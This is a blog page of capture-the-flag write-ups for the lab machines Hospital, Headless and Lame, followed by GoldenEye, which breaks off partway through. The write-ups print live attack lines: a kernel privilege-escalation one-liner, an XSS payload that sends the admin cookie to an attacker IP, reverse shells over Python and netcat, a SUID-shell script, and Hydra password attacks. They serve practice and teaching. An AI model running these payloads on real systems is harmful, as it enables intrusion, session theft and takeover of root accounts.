DEV Community: 0xAp0ll0

HTB: Hospital — Write-up

0xAp0ll0 — Thu, 13 Aug 2026 10:18:35 +0000

Overview:

This is a walkthrough of the Hospital Medium machine from Hack The Box. In this write-up, I’ll go through the different vulnerabilities I discovered

Let’s get started!

Reconnaissance & Enumeration

I started with an Nmap scan to identify the services running on the target machine.

nmap -sCV -p- -T4 <IP> -oN nmap

PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)
|_  256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-08-09 01:45:04Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
443/tcp   open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-title: "400 Bad Request"
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
1801/tcp  open  msmq?
2103/tcp  open  msrpc             Microsoft Windows RPC
2105/tcp  open  msrpc             Microsoft Windows RPC
2107/tcp  open  msrpc             Microsoft Windows RPC
2179/tcp  open  vmrdp?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3269/tcp  open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3389/tcp  open  ms-wbt-server     Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.hospital.htb
| Not valid before: 2026-08-08T00:55:58
|_Not valid after:  2027-02-07T00:55:58
| rdp-ntlm-info: 
|   Target_Name: HOSPITAL
|   NetBIOS_Domain_Name: HOSPITAL
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: hospital.htb
|   DNS_Computer_Name: DC.hospital.htb
|   DNS_Tree_Name: hospital.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-08-09T01:46:06+00:00
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: "Not Found"
6404/tcp  open  msrpc             Microsoft Windows RPC
6406/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
6407/tcp  open  msrpc             Microsoft Windows RPC
6409/tcp  open  msrpc             Microsoft Windows RPC
6613/tcp  open  msrpc             Microsoft Windows RPC
6619/tcp  open  msrpc             Microsoft Windows RPC
8080/tcp  open  http              Apache httpd 2.4.55 ((Ubuntu))
|_http-server-header: Apache/2.4.55 (Ubuntu)
| http-title: "Login"
|_Requested resource was login.php
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
9389/tcp  open  mc-nmf            .NET Message Framing
14426/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-08-09T01:46:03
|_  start_date: N/A
|_clock-skew: mean: 7h03m40s, deviation: 0s, median: 7h03m40s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

The scan revealed several open ports, including:

22 — SSH
443 — HTTPS
8080 — HTTP The web services immediately caught my attention, so I started investigating them. --- ## Port 443 i visited the the 443 web application and it presented a roundcube webmail login page since i have no credentials i decided to come back to it later

Port 8080

then I visited the web application running on port 8080.
The website presented a login page with a registration option so i created an accont and logged in and got greeted with this interface

which shows the ability to upload images to the website hospital
if we try and upload and image we get the success page

after doing some fuzzing i found the /uploads directory where you can view your uploads so this is definitely hinting for a file upload vulnerability

File Upload Exploitation

at first i tried to upload the pwny.php shell but the website refused it and redirected me to an error page so this shows that there s some sort of protection and filtering happening in the background

so i fired up Burpsuite to investigate more
the first thing that i tried is changing the .php extension to oneof those

PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

so i kept testing those extensions in burpsuite through changing the filename some of them redirected me to the success.php but when i try to open the file that i uploaded the website throws a 404 not found
i kept trying hopping for something to stick and it did work

so i got greeted with a linux shell which is weird since this is a windows machine which indicates we re on a docker or a VM inside the windows machine
so i started a nc listener in my terminal and execute a revshell command in the pwny.php to migrate the shell to my terminal

The first Privilege Escalation

With access to the machine, I began looking for ways to escalate my privileges.
after some enumeration i found out that the kernel is outdated

www-data@webserver:/var/www/html/uploads$ uname -a Linux webserver 5.19.0-35-generic #36-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 3 18:36:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
While researching for a public CVE, I came across CVE-2023-2640 / CVE-2023-32629, commonly associated with the GameOver(lay) privilege-escalation vulnerability.
which was a one liner command

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'

i ran it and yep we got root

so another intersting thing that i forgot to mention was that there another user called drwilliams after getting the root shell i decided to extract his password as it is highly probable that he s got an email account

Examining `/etc/shadow`

After obtaining elevated privileges, I inspected the /etc/shadow file.
This file contains password hashes for local accounts and is normally restricted to privileged users.
i extracted dr williams hash

drwilliams:$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/:19612:0:99999:7:::

using john i was able to crack the hash and we got drwilliams credentials i tried to use them to log in to his webmail account

and WE ARE IN

Investigating the Mailbox

While going through the inbox, I found a message from Chris Brown.

The message discussed Ghostscript and EPS files.
while looking through the web to find something that we can use to exploit this *
And I came accross this Poc

https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection

Ghostscript Exploitation

The general idea was to create a malicious EPS file that would cause the vulnerable Ghostscript process to execute an attacker-controlled command when the file was processed.
i used the PoC to create a malicious eps file then i sent it to dr brown

It took a few attempts to get everything working correctly, but eventually I had access.

the first thing that i found was the ghostscipt.bat script

and it contained dr brown 's creds
so we try them with winRM and it worked

Finding the Flag

With access to the machine, I continued exploring the filesystem and eventually located the flag.

Further Enumeration

I continued exploring the Windows filesystem and came across an XAMPP installation.
Inside the XAMPP directory, I found:

htdocs

Final Access

so i uploaded a pwny.php shell

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\drbrown.HOSPITAL\Documents> cd C:/xampp/htdocs
*Evil-WinRM* PS C:\xampp\htdocs> upload pwny.php

Info: Uploading /home/kali/HTB/Hospital/CVE-2023-36664-Ghostscript-command-injection/pwny.php to C:\xampp\htdocs\pwny.php

Info: Upload successful!
*Evil-WinRM* PS C:\xampp\htdocs>

After doing so, I navigated to:

https://hospital.htb/pwny.php

This gave me administrative-level access to the machine.

and we got the flag

Conclusion

The Hospital machine was a great example of how multiple vulnerabilities and misconfigurations can be chained together to compromise an environment.

Overall, this machine demonstrated the importance of properly restricting file uploads, keeping operating systems and third-party software patched, and carefully validating files processed by applications.

HTB: Headless — Writeup

0xAp0ll0 — Sat, 08 Aug 2026 17:54:14 +0000

Overview:

Headless is an easy Linux machine that combines several vulnerabilities to achieve initial access and privilege escalation.

Reconnaissance & Enumeration

I started with a full TCP port scan to identify the available services:

nmap -sCV -p- <IP> -oN nmap

The scan revealed two interesting ports:
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2
5000/tcp open upnp? Werkzeug/2.2.2 Python/3.11.2

Port 5000 immediately caught my attention because it is running a Python Werkzeug web server.

Navigating to:_http://10.10.11.8:5000
_
reveals a simple welcome page with a For questions button.
Clicking it redirects us to a customer support form.

Since the application allows us to send messages to staff members, I wanted to see if any of the input fields were vulnerable to XSS.

I first tried a basic payload:
<script>alert(1)</script>However, the application detected the payload and displayed a warning saying that a hacking attempt had been detected.
Looking at the page more carefully, I noticed something interesting: the submitted form contents were not displayed, but the HTTP request headers were.
This made me think about injecting JavaScript into one of the headers instead.
I intercepted the request using Burp Suite and modified the User-Agent header:

User-Agent: alert(1)
After forwarding the request, an alert appeared in the application.
This confirmed that the User-Agent header is vulnerable to stored XSS.

Stored XSS is particularly interesting here because the application tells us that administrators review the submitted reports.
That means we may be able to use a blind XSS payload to execute JavaScript in the administrator's browser and steal their session cookie.

I created a simple HTTP server on my machine to receive the callback:

python3 -m http.server 5000

Then I used the following payload in the User-Agent header:

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0<script>var i=new Image();i.src="http://10.10.15.67:8000/?cookie="+btoa(document.cookie);</script>

The JavaScript creates an Image object and causes the victim's browser to make a request to our server.
After submitting the report and waiting for the administrator to review it, my server received callbacks:

┌──(kali㉿kali)-[~/HTB/Headless]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.15.67 - - [08/Aug/2026 12:43:06] "GET /?cookie= HTTP/1.1" 200 -
10.129.58.80 - - [08/Aug/2026 12:43:53] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -

10.10.14.41 - - [14/Jul/2024 11:08:21] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -

I decoded the cookie:

 echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

Now that we have an admin cookie, I wanted to find out where it could be used.
I fuzzed the website for hidden directories:

┌──(kali㉿kali)-[~/HTB/Headless]
└─$ ffuf -u http://10.129.58.80:5000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.58.80:5000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

# directory-list-lowercase-2.3-medium.txt [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 308ms]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 309ms]
#                       [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 309ms]
#                       [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 310ms]
# This work is licensed under the Creative Commons  [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 311ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 311ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 314ms]
#                       [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 314ms]
# Priority ordered case insensative list, where entries were found  [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 316ms]
                        [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 319ms]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 319ms]
#                       [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 319ms]
# on atleast 2 different hosts [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 320ms]
# Copyright 2007 James Fisher [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 291ms]
support                 [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 169ms]
dashboard               [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 153ms]
                        [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 160ms]
:: Progress: [207643/207643] :: Job [1/1] :: 108 req/sec :: Duration: [0:30:12] :: Errors: 0 ::

The interesting results included:
support
dashboard

The /dashboard endpoint was interesting because we previously didn't have access to it.
I replaced my normal cookie with the stolen administrator cookie in Firefox and refreshed the page.
This time, we successfully gained access to the administrator dashboard.

The dashboard contains a feature for generating a health report.
When clicking the button, the application sends a POST request containing a date parameter:
POST /dashboard HTTP/1.1 date=2023-09-15
This looked interesting because the server appeared to process the supplied date.
I tested whether the parameter was being passed to a system command by appending:
;id
So the request became:
date=2023-09-15;id
The response contained:
*uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
*
The id command executed successfully.
This confirms a command injection vulnerability.
Since arbitrary commands can be executed, we can use this to obtain a reverse shell.

I started a Netcat listener on my machine:
*nc -lnvp 4444
*
Then I injected a reverse shell through the date parameter:

date=2024-09-15;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ur_ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

After sending the request, the listener received a connection

We now have a shell as dvir.
The initial shell is not very stable, so I upgraded it
And we can find the user flag at:
/home/dvir/user.txt

Privilege Escalation

Now that we have the user shell, I started looking for ways to escalate to root.

the first thing i did was check the user's sudo permissions:
*sudo -l
*
and we got

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

So dvir can execute /usr/bin/syscheck as root without a password.

Analyzing syscheck
I inspected the script:

dvir@headless:/tmp$ cat /usr/bin/syscheck
#!/bin/bash                                                                                                                                                                                 

if [ "$EUID" -ne 0 ]; then                                                                                                                                                                  
  exit 1                                                                                                                                                                                    
fi                                                                                                                                                                                          

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)                                                                    
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")                                                                                                                 
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"                                                                                                                              

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')                                                                                                                            
/usr/bin/echo "Available disk space: $disk_space"                                                                                                                                           

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')                                                                                                               
/usr/bin/echo "System load average: $load_average"                                                                                                                                          

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then                                                                                                                                        
  /usr/bin/echo "Database service is not running. Starting it..."                                                                                                                           
  ./initdb.sh 2>/dev/null                                                                                                                                                                   
else                                                                                                                                                                                        
  /usr/bin/echo "Database service is running."
fi

exit 0
dvir@headless:/tmp$

The script first checks whether it is running as root:

if [ "$EUID" -ne 0 ]; then
    exit 1
fi

It then performs several system checks.
The interesting part is at the end:

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
    /usr/bin/echo "Database service is not running. Starting it..."
    ./initdb.sh 2>/dev/null
else
    /usr/bin/echo "Database service is running."
fi

The important line is:
./initdb.sh
The script doesn't specify an absolute path such as:
/usr/local/bin/initdb.sh
Instead, it uses a relative path.
This means the shell looks for initdb.sh in the current working directory.
Since /tmp is writable by dvir, we can place our own initdb.sh there.
When syscheck is executed from /tmp with sudo, our malicious script will be executed with root privileges.

I created an initdb.sh script:

#!/bin/bash
cp /bin/bash /tmp/bash
chmod 4777 /tmp/bash

The script simply starts a Bash shell when executed.
Next, I gave it execute permissions:
chmod +x /tmp/initdb.sh
Now everything is ready

We can execute the vulnerable system-check script:
sudo /usr/bin/syscheck
The script performs its checks and eventually reaches:
Database service is not running. Starting it...
At that print, ./initdb.sh is executed.
Because we're currently in /tmp, it resolves to:
/tmp/initdb.sh
and we run /tmp/bash -p
and there u go we have root

The final flag is located at:
/root/root.txt

Machine Review:

Headless was a really nice Easy machine because every vulnerability naturally leads into the next stage.
Overall, Headless was a good machine for practicing web enumeration, XSS, command injection, sudo enumeration, and relative-path vulnerabilities.

HTB: Lame — Writeup

0xAp0ll0 — Sat, 08 Aug 2026 13:57:10 +0000

Target: Lame
OS: Linux
Difficulty: Easy

Overview

Lame is a classic Hack The Box machine built around legacy vulnerabilities, unauthenticated service access, and SUID binary misconfigurations. The pathway to initial access and root is straightforward once service enumeration is complete, making it an excellent introductory box for learning manual vulnerability identification and GTFOBins exploitation.

Reconnaissance & Enumeration:

An initial port scan revealed standard services along with an outdated distributed compiler daemon (distccd) and an obsolete Samba installation.

P21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.15.67
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h59m27s, deviation: 2h49m45s, median: -35s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2026-08-08T08:17:45-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Using NetExec (nxc), null session authentication was confirmed to be enabled on SMB:

nxc smb 10.129.58.33 -u '' -p ''  --shares
SMB         10.129.58.33    445    LAME             [*] Unix (name:LAME) (domain:hackthebox.gr) (signing:False) (SMBv1:True) (Null Auth:True)
SMB         10.129.58.33    445    LAME             [+] hackthebox.gr\: 
SMB         10.129.58.33    445    LAME             [*] Enumerated shares
SMB         10.129.58.33    445    LAME             Share           Permissions     Remark
SMB         10.129.58.33    445    LAME             -----           -----------     ------
SMB         10.129.58.33    445    LAME             print$                          Printer Drivers
SMB         10.129.58.33    445    LAME             tmp             READ,WRITE      oh noes!
SMB         10.129.58.33    445    LAME             opt                             
SMB         10.129.58.33    445    LAME             IPC$                            IPC Service (lame server (Samba 3.0.20-Debian))
SMB         10.129.58.33    445    LAME             ADMIN$                          IPC Service (lame server (Samba 3.0.20-Debian))

before diving deeper in the smb share i wanted to inspect the 3632 port because i am not familiar with it .

Port 3632 inspection (Initial Access)

so the port 3632 is running Distcc which is a tool that enhances the compilation process by utilizing the idle processing power of other computers in the network
after looking on the internet i found this in Hacktricks that checks if the port is vulnerable to the distcc CVE-2004-2687

nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"

and sure thing the service is vulnerable so i use the same command to do a reverse shell and just like that we got it

nmap -p 3632 <IP> --script distcc-cve2004-2687 \
  --script-args="distcc-exec.cmd='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ur_ip> <port> >/tmp/f'"

and just like that we got a shell

listening on [any] 4444 ...
connect to [10.10.15.67] from (UNKNOWN) [10.129.58.33] 32936
sh: no job control in this shell
sh-3.2$

and u can read the user flag

Privilege Escalation:

Since the user flag was easy i decided to do some manual enumeration instead of relying on linpeas
the first thing to do is to look for binaries with the SUID bit set

find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper

and /usr/bin/nmap is the most interesting one Let's check GTFOBINS:

Older versions of nmap (2.54B2 to 5.21) feature an interactive mode (--interactive) that allows shell command execution via the ! token. Because /usr/bin/nmap is owned by root with the SUID bit set, executing interactive commands runs them with root privileges.

/usr/bin/nmap --interactive
Spawn a root shell within the Nmap prompt:

Plaintext
nmap> !sh
# id
uid=0(root) gid=0(root) groups=1(daemon)
Root access confirmed.

then you can read the root flag and the machine is done .

Machine Review:

To be honest the machine lives up to its name it is in fact Lame from the user flag to the root flag nothing was challenging even a bit but it was an quick good exercise to do .

GoldenEye-TryHackMe Writeup

0xAp0ll0 — Thu, 06 Aug 2026 10:31:37 +0000

Target: GoldenEye
OS: Linux
Difficulty: Medium

Overview

GoldenEye is a TryHackMe room built around credential reuse, mailbox enumeration, Moodle abuse, and a local privilege escalation. The path to root is fairly linear once the early email clues are collected, so the main challenge is keeping track of usernames, passwords, and the next service to inspect.

Reconnaissance

Start by confirming the target is up and scanning all ports:

nmap -sCV -p- <IP> -oN nmap
PORT      STATE SERVICE  VERSION
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after:  2028-04-21T03:22:34
80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: GoldenEye Primary Admin Server
55006/tcp open  ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
55007/tcp open  pop3     Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52

The scan shows four open services:

25/tcp - SMTP
80/tcp - HTTP
55006/tcp - SSL POP3
55007/tcp - POP3

The web server on port 80 serves a terminal style page. The first useful clue is in the page source, which references a script named terminal.js. That script contains Boris's default password in an encoded form.

//
//Boris, make sure you update your default password. 
//My sources say MI6 maybe planning to infiltrate. 
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;
//
//BTW Natalya says she can break your codes
//

after using cyberchef's magic wand we get our first credential
we use those credentials to log in to the webpage in /sev-home/

With those credentials, log in to the web portal and review the page content carefully. It points to the mail service on 55007 and suggests that the same credentials may or may not work elsewhere.

Mail Enumeration

The POP3 service is reachable with telnet:


telnet <IP> 55007

Boris's first password does not work on POP3, so the next step is a password attack. The room strongly hints at Hydra, and that works cleanly against the POP3 login.

For Boris:


hydra -l Boris -P /usr/share/wordlists/fasttrack.txt  <IP> -s 55007 pop3

This returns:

Boris password: secret1!

──(kali㉿kali)-[~/TryHackme/goldeney]
└─$ telnet <IP> 55007                                                            
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER boris
+OK
PASS secret1!
+OK Logged in.
LIST
+OK 3 messages:
1 544
2 373
3 921
.
RETR 1  
+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id D9E47454B1
        for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye

Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
.
RETR 2  
+OK 373 octets
Return-Path: <natalya@ubuntu>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id C3F2B454B1
        for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: <20180425024249.C3F2B454B1@ubuntu>
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu

Boris, I can break your codes!
.
RETR 3
+OK 921 octets
Return-Path: <alec@janus.boss>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id 4B9F4454B1
        for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss

Boris,

Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!

Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....

PS - Keep security tight or we will be compromised.

Once logged in via POP3, use LIST and RETR to read all messages. Boris's mailbox reveals:

Natalya is the user who can break Boris's codes.
Another username: Xenia

For Natalya:


hydra -l Natalya -P /usr/share/wordlists/fasttrack.txt  <IP> -s 55007 pop3

This returns:

Natalya password: bird

┌──(kali㉿kali)-[~/TryHackme/goldeney]
└─$ telnet <IP> 55007                                                           
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER natalya
+OK
PASS bird
+OK Logged in.
list
+OK 2 messages:
1 631
2 1048
.
rtrv 1
-ERR Unknown command: RTRV
retr 1
+OK 631 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id D5EDA454B1
        for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: <20180425024542.D5EDA454B1@ubuntu>
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
.
retr 2
+OK 1048 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 17C96454B1
        for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia
password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
